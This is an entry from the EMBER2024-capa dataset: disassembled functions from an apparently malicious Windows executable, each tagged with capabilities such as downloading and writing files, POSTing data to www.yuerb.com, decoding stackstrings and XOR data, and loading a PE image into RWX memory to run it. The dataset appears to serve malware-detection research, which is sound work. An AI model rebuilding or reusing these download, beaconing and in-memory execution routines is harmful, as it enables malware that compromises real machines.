joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c7c0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x408
mov eax, dword [0x4b6170]
xor eax, esp
mov dword [esp + 0x404], eax
push ebx
push ebp
push edi
push 0x3ff
lea eax, [esp + 0x15]
push 0
push eax
mov edi, ecx
mov ebx, edx
mov byte [esp + 0x1c], 0
call fcn.00446600
add esp, 0xc
push 0
push 0
push 0
push 0
push str.mbwkestanddll
mov dword [esp + 0x20], 1
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebp, eax
test ebp, ebp
je 0x40c8b0
cmp dword [edi + 0x1c], 8
jb 0x40c824
mov eax, dword [edi + 8]
jmp 0x40c827
lea eax, [edi + 8]
push esi
push 0
push 0x4000000
push 0
push 0
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x40c8a2
push 0x4ac1e4
push ebx
call fcn.004416d6
mov edi, eax
add esp, 8
test edi, edi
je 0x40c899
cmp dword [esp + 0x10], 0
jbe 0x40c890
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x10]
push ecx
push 0x3ff
lea edx, [esp + 0x1c]
push edx
push esi
call ebx
mov eax, dword [esp + 0x10]
push edi
push eax
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00440fb6
add esp, 0x10
cmp dword [esp + 0x10], 0
ja 0x40c862
push edi
call fcn.004404c9
add esp, 4
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40c8a8
mov dword [edi], 0
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [esp + 0x410]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043f4b7
add esp, 0x408
ret
Function at 0x40ebb0
Capabilities:
Connect to http server
Create http request
Send data
Send http request

Disassembly:
sub esp, 8
push ebx
push ebp
push edi
push 0
push 0
push 0
push 1
push 0
mov bl, al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
push 1
push 0
movzx eax, bl
push 3
neg eax
push 0
sbb eax, eax
push 0
and eax, 0x16b
add eax, 0x50
push eax
push str.www.yuerb.com
push ebp
call dword [sym.imp.WININET.dll_InternetConnectA]
mov edi, eax
test edi, edi
jne 0x40ec06
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ecx, dword [esp + 0x20]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0
mov eax, 0x4000000
test bl, bl
je 0x40ec24
mov eax, 0x4803000
push esi
push 0
push eax
lea edx, [esp + 0x18]
push edx
push 0
push 0
push str._api__nsm_tj.php
push str.POST
push edi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
test esi, esi
jne 0x40ec5e
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebp
call esi
pop esi
pop edi
pop ebp
xor al, al
pop ebx
add esp, 8
ret
mov ebx, dword [esp + 0x28]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40ec67
mov ecx, dword [esp + 0x20]
push ecx
sub eax, edx
mov edx, dword [esp + 0x20]
push edx
push eax
push ebx
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
push ebp
call esi
pop esi
pop edi
xor eax, eax
cmp ebx, 1
pop ebp
sete al
pop ebx
add esp, 8
ret
Function at 0x411600
Capabilities:
Reference cloudflare dns server

Disassembly:
push 0xffffffffffffffff
push 0x493ad8
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov edi, dword [esp + 0x24]
mov esi, 7
xor ebx, ebx
xor eax, eax
mov dword [edi + 0x1c], esi
mov dword [edi + 0x18], ebx
mov word [edi + 8], ax
mov dword [esp + 0x1c], ebx
xor ecx, ecx
mov dword [edi + 0x40], esi
mov dword [edi + 0x3c], ebx
mov word [edi + 0x2c], cx
lea ebp, [edi + 0x44]
xor edx, edx
mov dword [ebp + 0x18], esi
mov dword [ebp + 0x14], ebx
mov word [ebp + 4], dx
mov dword [edi + 0x78], esi
mov dword [edi + 0x74], ebx
mov word [edi + 0x64], ax
mov dword [edi + 0x94], esi
mov dword [edi + 0x90], ebx
mov word [edi + 0x80], cx
mov dword [edi + 0xb0], esi
mov dword [edi + 0xac], ebx
mov word [edi + 0x9c], dx
mov dword [edi + 0xcc], esi
mov dword [edi + 0xc8], ebx
mov word [edi + 0xb8], ax
mov dword [edi + 0xe8], esi
mov dword [edi + 0xe4], ebx
mov word [edi + 0xd4], cx
mov dword [edi + 0x108], esi
mov dword [edi + 0x104], ebx
mov word [edi + 0xf4], dx
lea eax, [edi + 0x114]
push eax
mov byte [esp + 0x20], 8
call fcn.0041f2b0
lea eax, [edi + 0x134]
push eax
mov byte [esp + 0x20], 9
call fcn.00415680
xor ecx, ecx
mov dword [edi + 0x17c], esi
mov dword [edi + 0x178], ebx
mov word [edi + 0x168], cx
xor edx, edx
mov dword [edi + 0x198], esi
mov dword [edi + 0x194], ebx
mov word [edi + 0x184], dx
mov byte [esp + 0x1c], 0xc
xor eax, eax
mov word [edi + 0xec], ax
push esi
mov eax, str.1.0.0.1
lea esi, [edi + 0x60]
mov dword [edi + 0x24], ebx
mov dword [edi + 0x10c], 0x30d40
mov dword [edi + 0x110], 1
mov byte [edi + 0x154], bl
mov byte [edi + 0x155], bl
mov word [edi + 0xee], cx
mov dword [edi + 0x158], ebx
mov dword [edi + 0x15c], ebx
call fcn.00403500
push 3
mov eax, 0x4acfc4
mov esi, ebp
call fcn.00403500
mov dword [edi + 0x12c], 0x1e0
mov dword [edi + 0x130], 0x320
mov byte [edi], bl
mov dword [edi + 0x20], ebx
mov byte [edi + 0x160], bl
mov byte [edi + 0x156], 1
mov eax, edi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x414df0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x491a73
mov eax, dword fs:[0]
push eax
sub esp, 0x50c
mov eax, dword [0x4b6170]
xor eax, esp
mov dword [esp + 0x508], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0x520]
mov dword fs:[0], eax
mov dword [esp + 0x528], 0
mov ecx, 0x1e
mov esi, str.Content_Type:_application_x_www_form_urlencoded_r_nAccept_Language:_zh_cn_r_nAccept_Encoding:_gzip__deflate_r_nPragma:_no_cache
lea edi, [esp + 0x4a0]
rep movsd dword es:[edi], dword [esi]
mov al, 0x33
mov dl, 0x52
mov cl, 0x54
mov dword [esp + 0x14], 0x2a2f2a
movsw word es:[edi], word [esi]
mov byte [esp + 0x490], 0x48
mov byte [esp + 0x491], dl
mov byte [esp + 0x492], al
mov byte [esp + 0x493], 0x56
mov byte [esp + 0x494], al
mov byte [esp + 0x495], cl
mov byte [esp + 0x496], al
mov byte [esp + 0x497], 0x6e
mov byte [esp + 0x498], cl
mov byte [esp + 0x499], 0x73
mov byte [esp + 0x49a], 0x79
mov byte [esp + 0x49b], dl
mov byte [esp + 0x49c], 0x38
mov byte [esp + 0x49d], 0x41
mov byte [esp + 0x49e], 0x31
mov byte [esp + 0x49f], 0x39
mov dword [esp + 0x1c], vtable.CRijndael.0
mov byte [esp + 0x20], 0
lea eax, [esp + 0x490]
push eax
lea esi, [esp + 0x20]
mov byte [esp + 0x52c], 1
call fcn.0040def0
mov esi, dword [esp + 0x544]
add esi, 0xf
and esi, 0xfffffff0
lea edi, [esi + 1]
push edi
call fcn.0043cdff
push edi
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x28], ebx
call fcn.00446600
mov edx, dword [esp + 0x544]
add esp, 0x10
cmp dword [esp + 0x548], 0x10
jae 0x414f38
lea edx, [esp + 0x534]
mov ecx, ebx
lea ebx, [ebx]
mov al, byte [edx]
mov byte [ecx], al
inc edx
inc ecx
test al, al
jne 0x414f40
push edi
call fcn.0043cdff
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x414f71
push edi
push 0
push ebp
call fcn.00446600
add esp, 0xc
push esi
push ebp
push ebx
lea eax, [esp + 0x28]
call fcn.0040ea10
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
lea esp, [esp]
lea ecx, [esp + 0x4a0]
push ecx
lea edx, [esp + 0x18]
push edx
push esi
push ebp
mov al, 1
call fcn.0040ebb0
add esp, 0x10
test al, al
jne 0x414fce
push 0xbb8
call edi
lea eax, [esp + 0x4a0]
push eax
lea ecx, [esp + 0x18]
push ecx
push esi
push ebp
xor al, al
call fcn.0040ebb0
add esp, 0x10
test al, al
jne 0x414fce
push 0x7530
call edi
inc ebx
cmp ebx, 5
jl 0x414f80
mov eax, dword [esp + 0x18]
test eax, eax
je 0x414fdf
push eax
call fcn.004400c4
add esp, 4
test ebp, ebp
je 0x414fec
push ebp
call fcn.004400c4
add esp, 4
cmp dword [esp + 0x548], 0x10
jb 0x415006
mov edx, dword [esp + 0x534]
push edx
call fcn.0043f604
add esp, 4
mov ecx, dword [esp + 0x520]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x508]
xor ecx, esp
call fcn.0043f4b7
add esp, 0x518
ret 0x1c
Function at 0x416510
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x492f81
mov eax, dword fs:[0]
push eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
mov ebp, 7
xor ebx, ebx
xor eax, eax
mov dword [esi + 0x30], ebp
mov dword [esi + 0x2c], ebx
mov word [esi + 0x1c], ax
mov dword [esp + 0x1c], ebx
xor ecx, ecx
mov dword [esi + 0x4c], ebp
mov dword [esi + 0x48], ebx
mov word [esi + 0x38], cx
xor edx, edx
mov dword [esi + 0x68], ebp
mov dword [esi + 0x64], ebx
mov word [esi + 0x54], dx
lea edi, [esi + 0x14]
push edi
mov byte [esp + 0x20], 2
call fcn.0041f2b0
mov dword [edi + 0x18], ebp
mov dword [edi + 0x14], ebx
xor eax, eax
xor ecx, ecx
mov word [edi + 4], cx
mov dword [esi + 0x48], ebp
mov dword [esi + 0x44], ebx
xor edx, edx
mov word [esi + 0x34], dx
mov dword [esi + 0x64], ebp
mov dword [esi + 0x60], ebx
mov word [esi + 0x50], ax
mov dword [esi + 0x80], ebp
mov dword [esi + 0x7c], ebx
mov word [esi + 0x6c], cx
mov eax, 1
mov dword [esi + 4], eax
mov dword [esi + 8], eax
mov dword [esi], ebx
mov dword [esi + 0xc], 0x3e8
mov dword [esi + 0x10], ebx
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 4
Function at 0x416820
Capabilities:
Get common file path
Get startup folder

Disassembly:
push 0xffffffffffffffff
push 0x494406
mov eax, dword fs:[0]
push eax
sub esp, 0x248
mov eax, dword [0x4b6170]
xor eax, esp
mov dword [esp + 0x244], eax
push ebx
push esi
push edi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0x258]
mov dword fs:[0], eax
xor ebx, ebx
push 0x206
mov edi, ecx
lea ecx, [esp + 0x52]
xor eax, eax
push ebx
push ecx
mov dword [esp + 0x1c], ebx
mov word [esp + 0x58], ax
call fcn.00446600
add esp, 0xc
push 1
push 0x23
lea edx, [esp + 0x54]
push edx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.AppData
lea eax, [esp + 0x50]
push 0x104
push eax
call fcn.0043fdd7
add esp, 0xc
xor ecx, ecx
lea eax, [esp + 0x4c]
mov dword [esp + 0x48], 7
mov dword [esp + 0x44], ebx
mov word [esp + 0x34], cx
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4168c0
sub eax, edx
sar eax, 1
push eax
lea eax, [esp + 0x50]
lea esi, [esp + 0x34]
call fcn.00403500
push 1
push 0x4a3638
mov eax, esi
mov dword [esp + 0x268], ebx
call fcn.0040bbe0
call fcn.00401930
lea esi, [esp + 0x14]
call fcn.0041a650
push ebx
push eax
or eax, 0xffffffff
lea esi, [esp + 0x38]
mov byte [esp + 0x268], 1
call fcn.0040bed0
mov esi, 8
mov byte [esp + 0x260], bl
cmp dword [esp + 0x2c], esi
jb 0x416935
mov edx, dword [esp + 0x18]
push edx
call fcn.0043f604
add esp, 4
push 7
push str.kit.dt
lea eax, [esp + 0x38]
call fcn.0040bbe0
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x2c], esp
xor eax, eax
mov dword [ecx + 0x18], 7
mov dword [ecx + 0x14], ebx
push 0xffffffffffffffff
mov word [ecx + 4], ax
push ebx
lea eax, [esp + 0x54]
call fcn.004027a0
call fcn.00403cd0
add esp, 0x1c
cmp dword [esp + 0x48], esi
jb 0x416985
mov ecx, dword [esp + 0x34]
push ecx
call fcn.0043f604
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x258]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x244]
xor ecx, esp
call fcn.0043f4b7
add esp, 0x254
ret
Function at 0x417c10
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x492bd7
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov edi, dword [esp + 0x24]
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov dword [edi], 0x4ad49c
mov dword [edi + 0x58], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
lea esi, [edi + 8]
push esi
mov dword [esp + 0x20], ebx
push edi
mov dword [esp + 0x18], 1
call fcn.004189a0
mov dword [esp + 0x1c], 1
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push esi
mov dword [edi + ecx], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
call fcn.004191f0
lea edx, [esi + 8]
mov dword [esi + 0x10], edx
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esi + 0x48], bl
mov byte [esi + 0x41], bl
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], ebx
mov eax, dword [esi + 0x24]
mov dword [eax], ebx
mov ecx, dword [esi + 0x34]
mov dword [ecx], ebx
mov edx, dword [esi + 0x10]
mov dword [edx], ebx
mov eax, dword [esi + 0x20]
mov edx, dword [0x4b92b8]
mov dword [eax], ebx
mov ecx, dword [esi + 0x30]
mov dword [ecx], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x44], edx
mov dword [esi + 0x3c], ebx
mov eax, edi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x4191f0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x49171b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, dword [esp + 0x24]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0043cf51
push 4
mov dword [esp + 0x20], 0
call fcn.0043f6a7
mov edi, eax
add esp, 4
test edi, edi
je 0x41926e
call fcn.0043d203
mov dword [edi], eax
call fcn.0043d031
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.0043cf12
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x419263
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0x10]
call fcn.0043cf3a
jmp 0x419270
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4

Function at 0x41a710
Capabilities:
Read file on windows
Read pipe

Disassembly:
sub esp, 8
cmp dword [esp + 0xc], 0
push esi
push edi
mov esi, eax
je 0x41a7ef
cmp dword [esp + 0x18], 0
je 0x41a7ef
call fcn.0041a680
test al, al
je 0x41a7ef
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
xor eax, eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], eax
xor edi, edi
test eax, eax
ja 0x41a77b
mov ecx, dword [esi + 0x20c]
push 0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0
push ecx
call ebx
push 0x7d0
call ebp
mov eax, dword [esp + 0x10]
inc edi
cmp edi, 0x64
jl 0x41a750
pop ebp
pop ebx
test eax, eax
je 0x41a7ef
push eax
call fcn.0043cdff
mov edi, eax
add esp, 4
test edi, edi
je 0x41a7ef
mov edx, dword [esp + 8]
push edx
push 0
push edi
call fcn.00446600
mov ecx, dword [esp + 0x14]
mov edx, dword [esi + 0x20c]
add esp, 0xc
push 0
lea eax, [esp + 0x10]
push eax
push ecx
push edi
push edx
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41a7e6
mov eax, dword [esp + 0xc]
cmp eax, dword [esp + 8]
jne 0x41a7e6
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
mov dword [ecx], edi
pop edi
mov dword [edx], eax
mov al, 1
pop esi
add esp, 8
ret 8
push edi
call fcn.004400c4
add esp, 4
mov eax, dword [esi + 0x20c]
cmp eax, 0xffffffff
je 0x41a80b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x20c], 0xffffffff
pop edi
xor al, al
pop esi
add esp, 8
ret 8
Function at 0x41a890
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
sub esp, 0x10
push ebx
push esi
push 0x48
xor ebx, ebx
push ebx
push edi
call fcn.00446600
mov eax, dword [esp + 0x28]
push 0x4ad62c
push eax
call fcn.004416d6
mov esi, eax
add esp, 0x14
cmp esi, ebx
jne 0x41a8c0
pop esi
xor al, al
pop ebx
add esp, 0x10
ret
push esi
push 4
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.00440435
push esi
push 4
lea edx, [esp + 0x28]
push 1
push edx
call fcn.00440435
add esp, 0x20
cmp dword [esp + 0x10], ebx
mov dword [edi + 0x44], ebx
mov byte [esp + 0xb], bl
mov dword [esp + 0xc], ebx
jle 0x41a9b6
push ebp
lea ebp, [edi + 4]
lea ebx, [edi + 8]
lea ecx, [ecx]
push esi
push 4
push 1
push edi
call fcn.00440435
push esi
push 4
push 1
push ebp
call fcn.00440435
push esi
push 0x3c
push 1
push ebx
call fcn.00440435
add esp, 0x30
mov eax, ebx
mov ecx, 0x3c
jmp 0x41a930
xor byte [eax], 0x55
inc eax
sub ecx, 1
jne 0x41a930
mov eax, dword [esp + 0x24]
push ebx
push eax
call fcn.004425d7
add esp, 8
test eax, eax
je 0x41a96e
mov eax, dword [esp + 0x10]
inc eax
cmp eax, dword [esp + 0x14]
mov dword [esp + 0x10], eax
jl 0x41a900
pop ebp
push esi
call fcn.004404c9
mov al, byte [esp + 0xf]
add esp, 4
pop esi
pop ebx
add esp, 0x10
ret
mov ecx, dword [ebp]
inc ecx
push ecx
mov byte [esp + 0x13], 1
call fcn.00441cad
mov edx, dword [edi]
push 0
push edx
push esi
mov dword [edi + 0x44], eax
call fcn.00440c32
mov eax, dword [ebp]
mov ecx, dword [edi + 0x44]
push esi
push eax
push 1
push ecx
call fcn.00440435
xor eax, eax
add esp, 0x20
cmp dword [ebp], eax
jbe 0x41a9b5
mov edx, dword [edi + 0x44]
xor byte [edx + eax], 0x55
lea ecx, [edx + eax]
inc eax
cmp eax, dword [ebp]
jb 0x41a9a5
pop ebp
push esi
call fcn.004404c9
mov al, byte [esp + 0xf]
add esp, 4
pop esi
pop ebx
add esp, 0x10
ret
Function at 0x41aa60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [ebx + 8], 0
je 0x41aa6b
xor eax, eax
ret 4
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov edx, ebx
call fcn.0041b060
test eax, eax
jne 0x41aa81
pop esi
ret 4
push ebp
mov eax, ebx
call fcn.0041b0f0
mov ebp, eax
test ebp, ebp
jne 0x41aa94
pop ebp
pop esi
ret 4
push edi
push 0x40
push 0x3000
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x41ab41
mov eax, dword [esp + 0x10]
push eax
push edi
mov esi, ebx
call fcn.0041b170
mov eax, dword [ebx + 0x10]
cmp dword [eax + 0xa0], 0
jbe 0x41aad7
cmp dword [eax + 0xa4], 0
jbe 0x41aad7
push ebx
call fcn.0041ac70
push edi
mov ecx, ebx
call fcn.0041acf0
test eax, eax
jne 0x41aaf8
push 0x8000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebp
xor eax, eax
pop esi
ret 4
lea ecx, [esp + 0x10]
push ecx
push 0x40
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [ebx + 0x10]
mov dword [edx + 0x34], edi
mov eax, dword [ebx + 0x10]
mov ecx, dword [eax + 0x28]
push 0
push 1
lea eax, [ecx + edi]
push edi
mov dword [ebx + 4], eax
call eax
test eax, eax
jne 0x41ab49
mov edx, dword [ebx + 4]
push eax
push eax
push edi
call edx
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [ebx + 4], 0
pop edi
pop ebp
xor eax, eax
pop esi
ret 4
mov dword [ebx + 8], edi
pop edi
pop ebp
mov dword [ebx], 1
mov eax, 1
pop esi
ret 4

Function at 0x41b060
Capabilities:
Parse pe header

Disassembly:
cmp esi, 0x40
jae 0x41b068
xor eax, eax
ret
mov ecx, 0x5a4d
mov dword [edx + 0xc], eax
cmp word [eax], cx
jne 0x41b065
mov ecx, dword [eax + 0x3c]
push edi
lea edi, [ecx + 0xf8]
cmp esi, edi
jb 0x41b0e6
add eax, ecx
mov dword [edx + 0x10], eax
cmp dword [eax], 0x4550
jne 0x41b0e6
movzx ecx, word [eax + 0x16]
test ecx, 0x2000
je 0x41b0e6
test cl, 2
je 0x41b0e6
mov ecx, 0xe0
cmp word [eax + 0x14], cx
jne 0x41b0e6
mov edi, dword [edx + 0x10]
push ebx
lea ecx, [eax + 0xf8]
xor ebx, ebx
mov dword [edx + 0x14], ecx
xor eax, eax
cmp bx, word [edi + 6]
pop ebx
jae 0x41b0df
add ecx, 0x10
mov edi, dword [ecx + 4]
add edi, dword [ecx]
cmp edi, esi
ja 0x41b0e6
mov edi, dword [edx + 0x10]
movzx edi, word [edi + 6]
inc eax
add ecx, 0x28
cmp eax, edi
jl 0x41b0c7
mov eax, 1
pop edi
ret
xor eax, eax
pop edi
ret
Function at 0x41b170
Capabilities:
Enumerate pe sections

Disassembly:
mov eax, dword [esi + 0x10]
movzx ecx, word [eax + 6]
mov edx, dword [eax + 0x54]
push ebx
lea ecx, [ecx + ecx*4]
push ebp
mov ebp, dword [esp + 0xc]
lea eax, [edx + ecx*8]
mov ecx, dword [esp + 0x10]
push eax
push ecx
push ebp
call fcn.00444b20
mov edx, dword [esi + 0x10]
xor eax, eax
add esp, 0xc
xor ebx, ebx
cmp ax, word [edx + 6]
jae 0x41b1dd
push edi
xor edi, edi
mov ecx, dword [esi + 0x14]
lea eax, [ecx + edi]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x41b1cd
mov edx, dword [eax + 0x10]
test edx, edx
je 0x41b1cd
push edx
mov edx, dword [eax + 0x14]
add edx, dword [esp + 0x18]
add ecx, ebp
push edx
push ecx
call fcn.00444b20
add esp, 0xc
mov eax, dword [esi + 0x10]
movzx ecx, word [eax + 6]
inc ebx
add edi, 0x28
cmp ebx, ecx
jl 0x41b1a5
pop edi
mov dword [esi + 0xc], ebp
mov edx, dword [ebp + 0x3c]
lea eax, [edx + ebp]
mov dword [esi + 0x10], eax
add eax, 0xf8
pop ebp
mov dword [esi + 0x14], eax
pop ebx
ret 8

Function at 0x41c2a0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4922d6
mov eax, dword fs:[0]
push eax
push ebx
push esi
mov eax, dword [0x4b6170]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov esi, dword [esp + 0x1c]
mov dword [esi], vtable.CChildPage.0
xor ebx, ebx
xor eax, eax
mov dword [esi + 0x20], 7
mov dword [esi + 0x1c], ebx
mov word [esi + 0xc], ax
lea ecx, [esi + 0x48]
push ecx
mov dword [esp + 0x18], ebx
call fcn.0041f2b0
lea edx, [esi + 0x60]
push edx
mov byte [esp + 0x18], 1
call fcn.0041f2b0
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], 0xffffffff
mov dword [esi + 0x3c], 0x2710
mov dword [esi + 0x40], 0x3a98
mov dword [esi + 0x44], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x30], ebx
mov byte [esi + 0x78], bl
mov eax, esi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0xc
ret 4